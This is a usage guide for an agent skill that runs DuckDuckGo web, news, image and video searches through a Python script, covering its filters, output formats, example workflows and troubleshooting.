web-search-hub

# Web Search Hub

Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.

⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) and run `pip install duckduckgo-search`

**Installation Best Practices:**
- If you encounter permission errors, use a virtual environment instead of system-wide installation
- For virtual environment: `python -m venv venv && source venv/bin/activate && pip install duckduckgo-search`
- Never use `--break-system-packages` as it can damage your system's Python installation

---

## Quick Reference

| Task | Command |
|------|---------|
| Basic web search | `python scripts/search.py "query"` |
| Recent news | `python scripts/search.py "topic" --type news --time-range w` |
| Find images | `python scripts/search.py "subject" --type images` |
| Find videos | `python scripts/search.py "tutorial" --type videos` |
| Save results | `python scripts/search.py "query" --output file.txt` |
| JSON output | `python scripts/search.py "query" --format json` |

---

## Core Search Types

### Web Search (Default)

Returns web pages with titles, URLs, and descriptions.

```bash
python scripts/search.py "quantum computing"
python scripts/search.py "python asyncio tutorial" --max-results 20
```

### News Search

Returns articles with source, date, and summary.

```bash
python scripts/search.py "climate summit" --type news
python scripts/search.py "AI regulation" --type news --time-range d
```

### Image Search

Returns images with URLs, thumbnails, dimensions, and source.

```bash
python scripts/search.py "mountain sunset" --type images
python scripts/search.py "abstract art" --type images --image-color Blue
```

### Video Search

Returns videos with title, publisher, duration, date, and URL.

```bash
python scripts/search.py "cooking tutorial" --type videos
python scripts/search.py "documentary" --type videos --video-duration long
```

---

## Essential Options

### Result Count
```bash
--max-results N    # Default: 10, range: 1-unlimited
```

**Examples:**
```bash
python scripts/search.py "machine learning" --max-results 5   # Quick overview
python scripts/search.py "research topic" --max-results 30    # Comprehensive
```

### Time Filtering
```bash
--time-range <d|w|m|y>
# d = past day
# w = past week  
# m = past month
# y = past year
```

**Examples:**
```bash
python scripts/search.py "tech news" --time-range d      # Today's news
python scripts/search.py "research papers" --time-range y # Recent publications
```

### Region Selection
```bash
--region <code>    # Default: wt-wt (worldwide)
```

**Common codes:** `us-en`, `uk-en`, `ca-en`, `au-en`, `de-de`, `fr-fr`

**Example:**
```bash
python scripts/search.py "local events" --region us-en --type news
```

### Safe Search
```bash
--safe-search <on|moderate|off>    # Default: moderate
```

**Example:**
```bash
python scripts/search.py "medical information" --safe-search on
```

---

## Output Formats

### Text (Default)
Clean, numbered results with URLs and descriptions.

```bash
python scripts/search.py "topic"
```

**Output:**
```
1. Page Title
   URL: https://example.com
   Description text here...

2. Next Result
   URL: https://example.com/page
   Description text...
```

### Markdown
Formatted with headers, bold, and links.

```bash
python scripts/search.py "topic" --format markdown
```

**Output:**
```markdown
## 1. Page Title

**URL:** https://example.com

Description text here...
```

### JSON
Structured data for programmatic processing.

```bash
python scripts/search.py "topic" --format json
```

**Output:**
```json
[
  {
    "title": "Page Title",
    "href": "https://example.com",
    "body": "Description text..."
  }
]
```

### Save to File
```bash
--output <filepath>
```

**Examples:**
```bash
python scripts/search.py "AI trends" --output results.txt
python scripts/search.py "news" --type news --format markdown --output news.md
python scripts/search.py "data" --format json --output data.json
```

---

## Image Search Filters

### Size
```bash
--image-size <Small|Medium|Large|Wallpaper>
```

**Example:**
```bash
python scripts/search.py "landscape" --type images --image-size Large
```

### Color
```bash
--image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>
```

**Example:**
```bash
python scripts/search.py "abstract art" --type images --image-color Blue
```

### Type
```bash
--image-type <photo|clipart|gif|transparent|line>
```

**Example:**
```bash
python scripts/search.py "icons" --type images --image-type transparent
```

### Layout
```bash
--image-layout <Square|Tall|Wide>
```

**Example:**
```bash
python scripts/search.py "wallpaper" --type images --image-layout Wide
```

---

## Video Search Filters

### Duration
```bash
--video-duration <short|medium|long>
```

**Example:**
```bash
python scripts/search.py "recipe" --type videos --video-duration short
```

### Resolution
```bash
--video-resolution <high|standard>
```

**Example:**
```bash
python scripts/search.py "tutorial" --type videos --video-resolution high
```

---

## Common Workflows

### Research a Topic

Gather comprehensive information across multiple search types:

```bash
# Web overview
python scripts/search.py "machine learning" --max-results 15 --output ml_web.txt

# Recent news
python scripts/search.py "machine learning" --type news --time-range m --output ml_news.txt

# Tutorial videos
python scripts/search.py "machine learning tutorial" --type videos --output ml_videos.txt

# Visual examples
python scripts/search.py "machine learning diagrams" --type images --max-results 20 --output ml_images.txt
```

### Track Current Events

Monitor breaking news on specific topics:

```bash
python scripts/search.py "election results" --type news --time-range d --format markdown --output daily_news.md
```

### Find Visual Resources

Search for images with specific requirements:

```bash
python scripts/search.py "data visualization" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt
```

### Fact-Check Information

Verify claims with recent sources:

```bash
python scripts/search.py "claim to verify" --time-range w --max-results 20 --output verification.txt
```

### Market Research

Gather business intelligence:

```bash
python scripts/search.py "electric vehicle market 2025" --max-results 25 --output market_overview.txt
python scripts/search.py "EV industry" --type news --time-range m --output market_news.txt
```

### Academic Research

Find scholarly resources:

```bash
python scripts/search.py "quantum entanglement" --time-range y --max-results 30 --format markdown --output research.md
```

---

## Implementation Guidelines

When users request web searches, follow this approach:

### 1. Identify Intent
- What content type? (web, news, images, videos)
- How recent? (use `--time-range` for current info)
- How many results? (adjust `--max-results`)
- Any special filters? (size, color, duration, etc.)

### 2. Configure Search
```bash
python scripts/search.py "query" \
  --type <web|news|images|videos> \
  --max-results <N> \
  --time-range <d|w|m|y> \
  [additional filters]
```

### 3. Choose Format
- **Text:** Quick reading, immediate review
- **Markdown:** Documentation, formatted reports
- **JSON:** Further processing, automation

### 4. Execute and Process
```bash
# Run search
python scripts/search.py "query" [options] --output results.txt

# Read results if needed
cat results.txt

# Extract URLs or combine multiple searches
```

---

## Best Practices

### Search Strategy
1. **Start specific** - Use clear, targeted queries
2. **Use time filters** - Apply `--time-range` for current topics
3. **Adjust result count** - Start with 10-20, increase if needed
4. **Choose right type** - News for current events, web for general info

### Output Management
1. **Save important searches** - Use `--output` to preserve results
2. **Use appropriate format** - JSON for automation, markdown for docs
3. **Organize files** - Create folders for multi-search research

### API Usage
1. **Avoid rapid requests** - Space out searches to prevent rate limiting
2. **Be efficient** - Use filters to get better results with fewer searches
3. **Respect limits** - Don't hammer the API unnecessarily

---

## Troubleshooting

### Installation Issues

**"Missing required dependency"**
```bash
# Standard installation
pip install duckduckgo-search

# If you get permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install duckduckgo-search
```

**Important:** Never use `--break-system-packages` flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.

**"OpenClawCLI not found"**
- Download from https://clawhub.ai/
- Install for your OS (Windows/MacOS)
- Verify installation: `openclaw --version`

### Search Issues

**"No results found"**
- Broaden search terms
- Remove time filters
- Try different query phrasing

**"Timeout errors"**
- DuckDuckGo service may be temporarily unavailable
- Wait a moment and retry
- Check internet connection

**"Unexpected results"**
- DuckDuckGo results differ from Google
- Refine query with more specific terms
- Try adding context to the query

### Rate Limiting

**"Too many requests"**
- Space out searches (wait 1-2 seconds between requests)
- Reduce frequency if making automated searches
- Consider batching queries instead of individual requests

---

## Advanced Usage

### Combining Multiple Searches

Build comprehensive research by combining search types:

```bash
# Create research folder
mkdir research

# Gather all content types
python scripts/search.py "topic" --max-results 20 --output research/web.txt
python scripts/search.py "topic" --type news --time-range m --output research/news.txt  
python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt
python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt
```

### Programmatic Processing

Use JSON for automated workflows:

```bash
# Get JSON data
python scripts/search.py "research query" --format json --output data.json

# Process with custom script
python analyze_results.py data.json
```

### Building Knowledge Bases

Create searchable documentation:

```bash
mkdir knowledge-base

# Search related topics
python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md
python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md
python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md
```

---

## Limitations

### Search Capabilities
- Results depend on DuckDuckGo's index (may differ from Google)
- No advanced operators (no `site:`, `filetype:`, etc.)
- Image/video results may be limited compared to web search
- No control over ranking algorithms

### Content Access
- Cannot access paywalled content
- Some sites may block DuckDuckGo crawler
- Dynamic JavaScript content may not be indexed
- Real-time data may have slight delays

### API Constraints
- Rate limiting applies to prevent abuse
- No guaranteed uptime or availability
- Results may vary by region and time
- Some queries may be filtered for safety

---

## Complete Command Reference

```bash
python scripts/search.py "<query>" [OPTIONS]

REQUIRED:
  query              Search query string (in quotes)

SEARCH TYPE:
  -t, --type         web|news|images|videos (default: web)

RESULTS:
  -n, --max-results  Maximum results (default: 10)
  --time-range       d|w|m|y (day, week, month, year)
  -r, --region       Region code (default: wt-wt)
  --safe-search      on|moderate|off (default: moderate)

OUTPUT:
  -f, --format       text|markdown|json (default: text)
  -o, --output       Save to file path

IMAGE FILTERS:
  --image-size       Small|Medium|Large|Wallpaper
  --image-color      color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White
  --image-type       photo|clipart|gif|transparent|line
  --image-layout     Square|Tall|Wide

VIDEO FILTERS:
  --video-duration   short|medium|long
  --video-resolution high|standard

HELP:
  --help             Show all options and usage examples
```

---

## Examples by Use Case

### Quick Searches
```bash
# Simple query
python scripts/search.py "python tutorials"

# Get more results
python scripts/search.py "python tutorials" --max-results 25
```

### Current Events
```bash
# Today's news
python scripts/search.py "AI developments" --type news --time-range d

# This week's headlines
python scripts/search.py "technology" --type news --time-range w --max-results 30
```

### Visual Content
```bash
# Find photos
python scripts/search.py "nature photography" --type images --image-type photo

# Specific color scheme
python scripts/search.py "office design" --type images --image-color Blue --image-size Large

# Transparent icons
python scripts/search.py "social media icons" --type images --image-type transparent
```

### Video Content
```bash
# Short tutorials
python scripts/search.py "quick recipe" --type videos --video-duration short

# High-quality documentaries
python scripts/search.py "space documentary" --type videos --video-resolution high --video-duration long
```

### Saved Research
```bash
# Create research report
python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md

# Gather news archive
python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json
```

---

## Support

For issues or questions:
1. Check this documentation for solutions
2. Run `python scripts/search.py --help` for command-line help
3. Verify OpenClawCLI installation at https://clawhub.ai/
4. Ensure `duckduckgo-search` library is installed

**Key Resources:**
- OpenClawCLI: https://clawhub.ai/
- DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/